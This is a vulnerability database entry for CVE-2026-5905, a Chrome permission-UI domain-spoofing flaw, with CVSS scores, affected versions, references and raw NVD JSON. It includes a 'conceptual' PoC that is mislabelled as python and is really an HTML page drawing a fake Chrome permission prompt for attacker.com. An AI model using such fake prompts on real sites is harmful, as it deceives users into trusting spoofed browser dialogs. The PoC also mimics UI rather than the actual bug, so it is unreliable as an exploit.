CVE-2026-5905

Description

Incorrect security UI in Permissions in Google Chrome on Windows prior to 147.0.7727.55 allowed a remote attacker to perform domain spoofing via a crafted HTML page. (Chromium security severity: Low)

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome on Windows < 147.0.7727.55

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- 
  PoC Concept: Fake Permission Dialog Overlay 
  This HTML snippet demonstrates how a crafted page might mimic a Chrome permission prompt 
  to trick the user (Conceptual only for CVE-2026-5905).
-->
<!DOCTYPE html>
<html>
<head>
<style>
  body { background-color: white; font-family: sans-serif; }
  /* Mimic Chrome's permission prompt style */
  .fake-permission-box {
    position: fixed;
    top: 20px;
    left: 20px;
    width: 300px;
    padding: 15px;
    background-color: #ffffff;
    box-shadow: 0 4px 12px rgba(0,0,0,0.15);
    border-radius: 8px;
    border: 1px solid #dadce0;
    z-index: 9999;
    display: flex;
    align-items: center;
  }
  .icon { margin-right: 15px; color: #5f6368; }
  .text { flex-grow: 1; font-size: 13px; color: #202124; }
  .buttons { display: flex; gap: 10px; }
  .btn {
    padding: 6px 12px;
    border-radius: 4px;
    font-size: 12px;
    cursor: pointer;
    border: none;
  }
  .btn-block { background-color: #1a73e8; color: white; }
  .btn-secondary { background-color: transparent; color: #1a73e8; }
</style>
</head>
<body>
  <h1>Welcome to Trusted Site</h1>
  <p>Please click the button below to continue.</p>

  <!-- The Exploit: Fake UI Overlay -->
  <div class="fake-permission-box">
    <div class="icon">📍</div>
    <div class="text">
      <strong>attacker.com</strong> wants to<br>
      Know your location
    </div>
    <div class="buttons">
      <button class="btn btn-block">Allow</button>
      <button class="btn btn-secondary">Block</button>
    </div>
  </div>

  <script>
    // Logic to handle the fake click or interaction
    document.querySelector('.btn-block').addEventListener('click', () => {
      console.log('User clicked Allow on fake permission dialog');
      alert('Exploit: User granted permission to attacker domain visually.');
    });
  </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5905
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5905
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5905/
[4] VulDB https://vuldb.com/cve/CVE-2026-5905
[5] https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/483899628

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5905", "sourceIdentifier": "[email protected]", "published": "2026-04-08T22:16:30.397", "lastModified": "2026-04-14T14:51:30.833", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect security UI in Permissions in Google Chrome on Windows prior to 147.0.7727.55 allowed a remote attacker to perform domain spoofing via a crafted HTML page. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-451"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "147.0.7727.55", "matchCriteriaId": "9A68673A-1331-48AF-8860-53064F0AF310"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/483899628", "source": "[email protected]", "tags": ["Permissions Required"]}]}}